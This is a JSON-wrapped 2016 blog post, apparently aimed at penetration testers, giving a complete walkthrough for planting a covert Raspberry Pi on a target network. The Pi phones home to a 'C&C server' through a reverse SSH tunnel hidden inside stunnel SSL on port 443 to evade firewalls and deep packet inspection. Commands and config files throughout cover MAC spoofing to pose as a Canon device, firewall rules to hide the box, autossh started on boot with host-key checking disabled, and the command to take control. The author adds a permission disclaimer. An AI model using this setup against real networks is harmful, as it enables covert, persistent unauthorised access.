{"id":2199,"date":"2016-07-28T10:46:11","date_gmt":"2016-07-28T09:46:11","guid":{"rendered":"http:\/\/emtunc.org\/blog\/?p=2199"},"modified":"2016-07-28T10:46:11","modified_gmt":"2016-07-28T09:46:11","slug":"reverse-ssh-tunnelling-ssl-raspberry-pi","status":"publish","type":"post","link":"https:\/\/emtunc.org\/blog\/07\/2016\/reverse-ssh-tunnelling-ssl-raspberry-pi\/","title":{"rendered":"Reverse SSH Tunnelling over SSL with the Raspberry Pi"},"content":{"rendered":"<p>In this blog I will go through the steps necessary to set-up an automatic reverse SSH tunnel between\u00a0a client machine sitting in a restricted environment and\u00a0a server that you control in your home\/office\/<em>cloud<\/em>. The reverse SSH tunnel will be encapsulated within a SSL tunnel over port 443 to evade network security appliances\/firewalls.<\/p>\n<p><!--more--><\/p>\n<p>In my set-up I used the <a href=\"https:\/\/www.amazon.co.uk\/Raspberry-Pi-Model-Quad-Motherboard\/dp\/B01CCOXV34\" target=\"_blank\">Raspberry Pi 3<\/a> as the client because it&#8217;s small,\u00a0inexpensive and <a href=\"https:\/\/www.raspberrypi.org\/forums\/viewtopic.php?t=12352\" target=\"_blank\">inconspicuous<\/a>;\u00a0great for penetration testers in the field who want to be in and out of an environment in under\u00a0a minute. You don&#8217;t even need a power socket nearby as you can use a <a href=\"https:\/\/www.amazon.co.uk\/s\/&amp;field-keywords=powerbank\" target=\"_blank\">powerbank<\/a> with enough capacity to last you a good few hours; enough time to find an exploit\/vulnerability on the network and\u00a0<em>hop<\/em> on to a more permanent host.<\/p>\n<p>First let me start off by saying that this post is for educational purposes only and that you should always seek permission to use\/abuse a network that you are not responsible for. The post was written with the intention of aiding security researchers, testers and people who are simply intrigued and want to learn the technology in order to improve the security stature of their own networks.<\/p>\n<p>Let&#8217;s begin&#8230;<\/p>\n<p>A reverse tunnel is one where the client (Raspberry Pi in this case) makes a connection\u00a0<em>out<\/em> from the target network to your server. You can then piggyback off this connection to talk\u00a0directly to the client on the network; all without\u00a0NAT&#8217;ing\/opening any ports on the firewall.<\/p>\n<p>Now you&#8217;ll find that most (I hope) IT departments will have port 22 blocked. You&#8217;ll find a subset of those IT departments\u00a0will have the resources available to use some sort of IDS\/IPS\/NGFW to do deep packet inspection so even if you SSH&#8217;d over port 443, the device performing\u00a0the inspection will identify the traffic as\u00a0SSH and drop it.<\/p>\n<p>This is where stunnel comes in handy &#8211; stunnel acts as a SSL wrapper which you can use to tunnel almost\u00a0anything through. We&#8217;ll be using it to tunnel our SSH connection so that it looks like normal SSL traffic. In other words it&#8217;ll work like this:<\/p>\n<ol>\n<li>Client establishes SSL tunnel with server over port 443. Firewall permits the traffic as it looks like normal SSL traffic<\/li>\n<li>Client establishes reverse SSH tunnel with the server. Firewall knows no better as the SSH connection is established within the SSL tunnel.<\/li>\n<li>Server can now talk to and take control of Client using the reverse SSH tunnel<\/li>\n<\/ol>\n<h3>Prerequisites<\/h3>\n<p>Before we begin configuring the client and server we should get some basics out of the way first.<\/p>\n<ul>\n<li>Install the appropriate\u00a0<a href=\"https:\/\/www.offensive-security.com\/kali-linux-arm-images\/\" target=\"_blank\">Kali ARM image<\/a>\u00a0on your Raspberry Pi&#8217;s micro SD card. Use <a href=\"https:\/\/sourceforge.net\/projects\/win32diskimager\/\" target=\"_blank\">Win32 Disk Imager<\/a> to write the Kali image to the SD card<\/li>\n<li>Install the appropriate Kali image on the machine that the Raspberry Pi will tunnel to. I ran the VM image on VMware Workstation &#8211;\u00a0I&#8217;ll call this the C&amp;C (command and control) server from this point on<\/li>\n<li>Ensure both machines are fully patched<\/li>\n<\/ul>\n<pre class=\"lang:sh decode:true\">apt-get update\r\napt-get upgrade\r\napt-get autoremove<\/pre>\n<p>Change the default credentials from root:toor to something more secure; especially if you decide to permit password-logins later on.<\/p>\n<pre class=\"lang:sh decode:true \">passwd root<\/pre>\n<h3>Generating Public\/Private Key Pair<\/h3>\n<p>There are two ways we can authenticate to an SSH server. One is using a password and the other is using a public\/private key pair. If we want the Raspberry Pi to automatically establish a background SSH connection to our server then we need to use a password-less approach; i.e., public key authentication.<\/p>\n<p>Generating and implementing public\/private keys is very easy and there are a number of ways we can do it. You could use the ssh-keygen command or you could use a tool like PuTTYgen which you probably already have.<\/p>\n<p>At a very basic\u00a0level how this works is that you generate a public and private key pair which are mathematically linked. You paste the contents of your public key to the authorized_keys file on the server you want to login to. When you connect\u00a0to the server, you present proof that you have knowledge of the\u00a0private key which the server validates and accepts.<\/p>\n<p>Now let&#8217;s generate some keys on the Raspberry Pi<\/p>\n<pre class=\"lang:sh decode:true\">mkdir ~\/.ssh\r\nchmod 700 ~\/.ssh\r\nssh-keygen -f ~\/.ssh\/id_rsa -t rsa -N ''\r\nchmod 600 ~\/.ssh\/id_rsa*\r\ncat ~\/.ssh\/id_rsa.pub\r\ncat ~\/.ssh\/id_rsa<\/pre>\n<p>Copy the contents of the private key and public key somewhere safe as we&#8217;ll need them later.<\/p>\n<p>When we enable public key authentication on the server, we&#8217;ll also be disabling password log-ins for security reasons. For you to be able to log-in to the server, you&#8217;ll either need to generate your own key-pair and add your public key to the authorized_keys file OR re-use the Raspberry Pi&#8217;s private key:<\/p>\n<ul>\n<li>Copy the contents of id_rsa (this is the private key) to a new file on your desktop. You can call it id_rsa.ppk<\/li>\n<li>Open PuTTYgen and import the key. It will complain about it being incompatible<\/li>\n<li>Save the private key in PuTTYgen and overwrite the id_rsa.ppk file. You can now use this in PuTTY to connect to the server (after we configure the authorized_keys file later on).<\/li>\n<\/ul>\n<h3>Setting up the Raspberry Pi (client)<\/h3>\n<ul>\n<li>Let&#8217;s install some pre-requisite packages first<br \/>\n<a href=\"https:\/\/packages.debian.org\/sid\/bash-completion\" target=\"_blank\">bash-completion<\/a> will allow autocompletion of packages at the prompt &#8211; not compulsory but helpful.<br \/>\n<a href=\"http:\/\/www.harding.motd.ca\/autossh\/\" target=\"_blank\">autossh<\/a> will automatically establish the SSH tunnel and keep it up, even if connection failures occur.<br \/>\n<a href=\"https:\/\/wiki.debian.org\/iptables\" target=\"_blank\">iptables-persistent<\/a> package so our firewall rules will be persistent when we create them later on<br \/>\n<a href=\"https:\/\/www.stunnel.org\/static\/stunnel.html\" target=\"_blank\">stunnel4<\/a> will be used to tunnel our SSH traffic over HTTPS to evade deep packet inspection from IDS\/IPS appliances on the target network<\/li>\n<\/ul>\n<pre class=\"lang:sh decode:true\">apt-get install bash-completion openssh-server autossh iptables-persistent stunnel4<\/pre>\n<ul>\n<li>Time to change the MAC address of the Pi. Why?! I hear you ask. It&#8217;s an easy way to avoid suspicion from any automated systems and\/or scans as the OUI portion of the MAC address maps to the Raspberry Pi Foundation. Now I don&#8217;t know about you but if I was to look at an Nmap scan of my network and saw a Raspberry Pi on it, I&#8217;d immediately be very suspicious and investigate:<\/li>\n<\/ul>\n<p><a href=\"http:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_45_48-Zenmap.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2246\" src=\"http:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_45_48-Zenmap.png\" alt=\"Zenmap-rpif\" width=\"450\" height=\"86\" srcset=\"https:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_45_48-Zenmap.png 450w, https:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_45_48-Zenmap-300x57.png 300w\" sizes=\"auto, (max-width: 450px) 100vw, 450px\" \/><\/a><\/p>\n<p>A quick lesson on MAC addresses: they&#8217;re 48 bits in length &#8211; that&#8217;s 12 Hexadecimal characters. The first 24 bits (6 characters) is\u00a0referred to as the OUI or Organizationally Unique Identifier. The other 24 bits can be anything you want as long as the syntax valid\u00a0(i.e., A-F and 0-9). Now go find yourself an <a href=\"https:\/\/raw.githubusercontent.com\/wireshark\/wireshark\/master\/manuf\" target=\"_blank\">OUI database<\/a> and find a manufacturer\/device that will look like it&#8217;s part of the environment you&#8217;re dropping the Pi in to. Something like CiscoSystems, HP, ProCurve, Canon, etc.<br \/>\n<strong><strong>Note: The DHCP assigned IP address will almost certainly change as the MAC address changes. This is expected.<\/strong><\/strong><\/p>\n<p>To change the MAC address on the Pi open the network configuration file<\/p>\n<pre class=\"lang:sh decode:true\">nano \/etc\/network\/interfaces<\/pre>\n<p>Now add the following line to the bottom of the file (00:1E:8F is a Canon device in this example):<\/p>\n<pre class=\"lang:sh decode:true\">pre-up ifconfig eth0 hw ether 00:1E:8F:26:00:A1<\/pre>\n<p><a href=\"http:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_46_43-Zenmap-1.png\"><br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2209\" src=\"http:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_46_43-Zenmap-1.png\" alt=\"nmap-canon\" width=\"467\" height=\"99\" srcset=\"https:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_46_43-Zenmap-1.png 467w, https:\/\/emtunc.org\/blog\/wp-content\/uploads\/2016\/07\/2016-07-10-00_46_43-Zenmap-1-300x64.png 300w\" sizes=\"auto, (max-width: 467px) 100vw, 467px\" \/><\/a><\/p>\n<p>Ta-da! Move along now, nothing suspicious here&#8230; except that open port.<\/p>\n<p>&#8220;Hmm.&#8221; the sysadmin grunts. &#8220;Should that Canon device have port 22 open on it?&#8221; Thoughts and suspicions run wild in the sysadmin&#8217;s mind. Let&#8217;s save him the mind-ache and add some firewall rules&#8230;<\/p>\n<ul>\n<li>iptables\u00a0time! We&#8217;ll deny\u00a0all inbound access to the Pi&#8230; except maybe a special IP address that only you would (probably) assign, if you want. The following commands will deny all inbound access *except* from the IP address 10.10.10.10. Depending on the environment and\/or your access, you may want to take out the exception completely. During your testing phase it&#8217;s probably a good idea to leave it in so you don&#8217;t get locked out of SSH.<\/li>\n<\/ul>\n<pre class=\"lang:sh decode:true\">iptables -P FORWARD DROP\r\niptables -A INPUT -m state --state INVALID -j DROP\r\niptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT\r\niptables -A INPUT -i lo -j ACCEPT\r\niptables -A INPUT -s 10.10.10.10 -j ACCEPT #accept-traffic-from-this-IP-only\r\niptables -P INPUT DROP\r\niptables-save &gt; \/etc\/iptables\/rules.v4<\/pre>\n<p>Now to make sure iptables starts up when the network interface comes up<\/p>\n<pre class=\"lang:sh decode:true \">nano \/etc\/network\/if-up.d\/iptables<\/pre>\n<p>Add the following to the file:<\/p>\n<pre class=\"lang:sh decode:true \">#! \/bin\/sh\r\n\/sbin\/iptables-restore &lt; \/etc\/iptables\/rules.v4\r\n<\/pre>\n<p>Make the file executable:<\/p>\n<pre class=\"lang:sh decode:true\">chmod +x \/etc\/network\/if-up.d\/iptables<\/pre>\n<h3>Setting up the C&amp;C Server<\/h3>\n<ul>\n<li>First let&#8217;s make SSH start automatically on reboot otherwise our Pi won&#8217;t have anything to connect to!<\/li>\n<\/ul>\n<pre class=\"lang:sh decode:true\">update-rc.d ssh enable 2 3 4 5<\/pre>\n<ul>\n<li>Now create the SSH directories, assign the permissions and paste the public key which you copied earlier from\u00a0the Pi (id_rsa.pub) to the authorized_keys file. This will allow the Pi to log-in to the C&amp;C server with its private key.<\/li>\n<\/ul>\n<pre class=\"lang:sh decode:true\">mkdir ~\/.ssh\r\nchmod 700 ~\/.ssh\r\ntouch ~\/.ssh\/authorized_keys\r\nchmod 600 ~\/.ssh\/authorized_keys\r\nnano ~\/.ssh\/authorized_keys<\/pre>\n<p>Now that the Pi&#8217;s public key is in the authorized_keys list on the C&amp;C\u00a0server we can turn on public key authentication on the C&amp;C server. We&#8217;ll also make some other changes to the sshd_config file<\/p>\n<pre class=\"lang:sh decode:true\">nano \/etc\/ssh\/sshd_config<\/pre>\n<p>Add\/modify the variables below &#8211; some may already exist so check first!<\/p>\n<pre class=\"lang:sh decode:true\">#disable password login and allow pub key authentication\r\nPermitRootLogin prohibit-password\r\nPubkeyAuthentication yes\r\n\r\n#the c&amp;c server will send a null keep-alive packet every 30 seconds\r\nClientAliveInterval 30\r\n#if no response is received from the Pi in 30 days then the connection is terminated\r\nClientAliveCountMax 86400\r\n#allows the ssh daemon to bind to interfaces other than the loopback\r\nGatewayPorts yes<\/pre>\n<h3>Configure stunnel on the\u00a0Pi<\/h3>\n<p>Create the configuration file<\/p>\n<pre class=\"lang:default decode:true\">nano \/etc\/stunnel\/stunnel.conf<\/pre>\n<p>Add the following to the config file with the public IP of the C&amp;C server (or dns name if you have a dynamic IP)<\/p>\n<pre class=\"lang:default decode:true\">pid = \/var\/run\/stunnel.pid\r\nclient=yes\r\n[ssh]\r\naccept = 443\r\nconnect = c&amp;c-server-public-ip:443<\/pre>\n<p>What this config file is saying is basically:<\/p>\n<ul>\n<li>connect = Connect to our server on port 443<\/li>\n<li>accept = listen on port 443 on the Raspberry Pi so that anything that hits port 443 will automatically pass through the tunnel<\/li>\n<\/ul>\n<p>Lastly all that is left is to ensure that the tunnel automatically starts<\/p>\n<pre class=\"lang:sh decode:true\">nano \/etc\/default\/stunnel4<\/pre>\n<pre class=\"lang:default decode:true\">#stunnel auto startup - default is ENABLED=0\r\nENABLED=1<\/pre>\n<h3>Configure stunnel on the C&amp;C server<\/h3>\n<p>As we are tunnelling SSH traffic over SSL\/HTTPS, we will need to generate another pair of keys<\/p>\n<pre class=\"lang:sh decode:true\">#generate a key-pair to be used to encrypt\/decrypt the SSL traffic\r\nopenssl genrsa 2048 &gt; \/etc\/stunnel\/stunnel.key\r\nopenssl req -new -key \/etc\/stunnel\/stunnel.key -x509 -days 365 -out \/etc\/stunnel\/stunnel.crt\r\ncat \/etc\/stunnel\/stunnel.crt \/etc\/stunnel\/stunnel.key &gt; \/etc\/stunnel\/stunnel.pem<\/pre>\n<p>Now we will create the stunnel configuration file which will basically define the protocol to be tunnelled (ssh), the IP and port to accept traffic on (443) and the IP and port to forward\u00a0traffic to (22).<\/p>\n<pre class=\"lang:sh decode:true\">nano \/etc\/stunnel\/stunnel.conf<\/pre>\n<pre class=\"lang:sh decode:true\">pid = \/var\/run\/stunnel.pid\r\ncert = \/etc\/stunnel\/stunnel.pem\r\n[ssh]\r\naccept = 443\r\nconnect = 127.0.0.1:22<\/pre>\n<p>Lastly all that is left is to ensure that the tunnel automatically starts and listens on port 443.<\/p>\n<pre class=\"lang:sh decode:true \">nano \/etc\/default\/stunnel4<\/pre>\n<pre class=\"lang:default decode:true\">#stunnel auto startup - default is ENABLED=0\r\nENABLED=1<\/pre>\n<p>Finally don&#8217;t forget to NAT\/open port 443 to your C&amp;C server otherwise the Pi won&#8217;t be able to connect to it!<\/p>\n<h3>Final Steps and Taking Control<\/h3>\n<p>All that is left to do now is for the Pi to automatically establish the SSH tunnel when the network interface comes up.<\/p>\n<p>We&#8217;ll create the file in \/etc\/network\/if-up.d which means it&#8217;ll run as soon as the network interface comes up. We&#8217;ll then make the file executable and\u00a0open it up:<\/p>\n<pre class=\"lang:sh decode:true\">touch \/etc\/network\/if-up.d\/autossh\r\nchmod +x \/etc\/network\/if-up.d\/autossh\r\nnano \/etc\/network\/if-up.d\/autossh<\/pre>\n<p>Now paste the below in to the file and save it<\/p>\n<pre class=\"lang:sh decode:true\">#!\/bin\/sh\r\nsu -c \"autossh -p 443 -f -N -R *:2222:localhost:22 root@localhost -o LogLevel=error -o UserKnownHostsFile=\/dev\/null -o StrictHostKeyChecking=no\" root<\/pre>\n<p>Let&#8217;s dissect the command above:<\/p>\n<ul>\n<li>-p 443 means we want to establish the SSH tunnel on port 443 which is our stunnel SSL tunnel. If you look at the stunnel configuration on the server you&#8217;ll see that the request to 443 will be forwarded to localhost:22.<\/li>\n<li>-f requests ssh to go to background mode<\/li>\n<li>-N do not execute a remote command &#8211; useful for forwarding ports<\/li>\n<li>-R here we&#8217;re saying that anything that connects to port 2222 on the other side of the tunnel (server) will actually reach localhost (Pi &#8211; client) on port 22.<\/li>\n<\/ul>\n<p>Now reboot the Pi. Within a few minutes it should automatically establish the SSL and SSH tunnels.<\/p>\n<p>To assume control of the Pi simply run the following on your C&amp;C server<\/p>\n<pre class=\"lang:sh decode:true\">ssh -p 2222 root@localhost<\/pre>\n<h3>Troubleshooting<\/h3>\n<ul>\n<li>First go through my entire post again and make sure you haven&#8217;t missed out anything. Double check configuration files, IP addresses, NAT&#8217;ing on your firewall, etc<\/li>\n<li>Check the stunnel SSL tunnel is established by running the following from any machine with nmap on it:\n<pre class=\"lang:sh decode:true\">nmap -p 443 C&amp;C-public-IP-address<\/pre>\n<p>The port should say\u00a0<strong>Open<\/strong>. If it is not open then you need to double check the stunnel configuration files in:<\/li>\n<\/ul>\n<p>\/etc\/stunnel\/stunnel.conf<br \/>\n\/etc\/default\/stunnel4<\/p>\n<p>Ensure the stunnel service is started<\/p>\n<pre class=\"lang:sh decode:true\">service stunnel stop\r\nservice stunnel start<\/pre>\n<ul>\n<li>Run the command below on your C&amp;C server\u00a0to connect to the reverse SSH tunnel in verbose mode to see if any errors appear<\/li>\n<\/ul>\n<pre class=\"lang:sh decode:true\">ssh -vp 2222 root@localhost<\/pre>\n<h3>Future Improvements<\/h3>\n<p>There are plenty of things that could be improved&#8230; for example:<\/p>\n<ul>\n<li>Check whether stunnel is actually up before attempting to start reverse SSH connection.<\/li>\n<li>SSH to the server with a user other than root. Imagine a clever sysadmin discovers the Pi, inspects the SD card and finds the config files and private key. Now they can root in to\u00a0<strong>your<\/strong> box and pwn your network. Bad times.<\/li>\n<li>Probably some others here<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>In this blog I will go through the steps necessary to set-up an automatic reverse SSH tunnel between\u00a0a client machine sitting in a restricted environment and\u00a0a server that you control in your home\/office\/cloud. The reverse SSH tunnel will be encapsulated within a SSL tunnel over port 443 to evade network security appliances\/firewalls.<\/p>\n","protected":false},"author":32,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"categories":[1],"tags":[242,29,241,240,238,17,239,243],"class_list":["post-2199","post","type-post","status-publish","format-standard","hentry","category-tech","tag-autossh","tag-iptables","tag-kali","tag-raspberry-pi","tag-reverse-ssh","tag-ssh","tag-stunnel","tag-win32-disk-imager"],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/p1trTO-zt","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/posts\/2199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/users\/32"}],"replies":[{"embeddable":true,"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/comments?post=2199"}],"version-history":[{"count":79,"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/posts\/2199\/revisions"}],"predecessor-version":[{"id":2282,"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/posts\/2199\/revisions\/2282"}],"wp:attachment":[{"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/media?parent=2199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/categories?post=2199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/emtunc.org\/blog\/wp-json\/wp\/v2\/tags?post=2199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}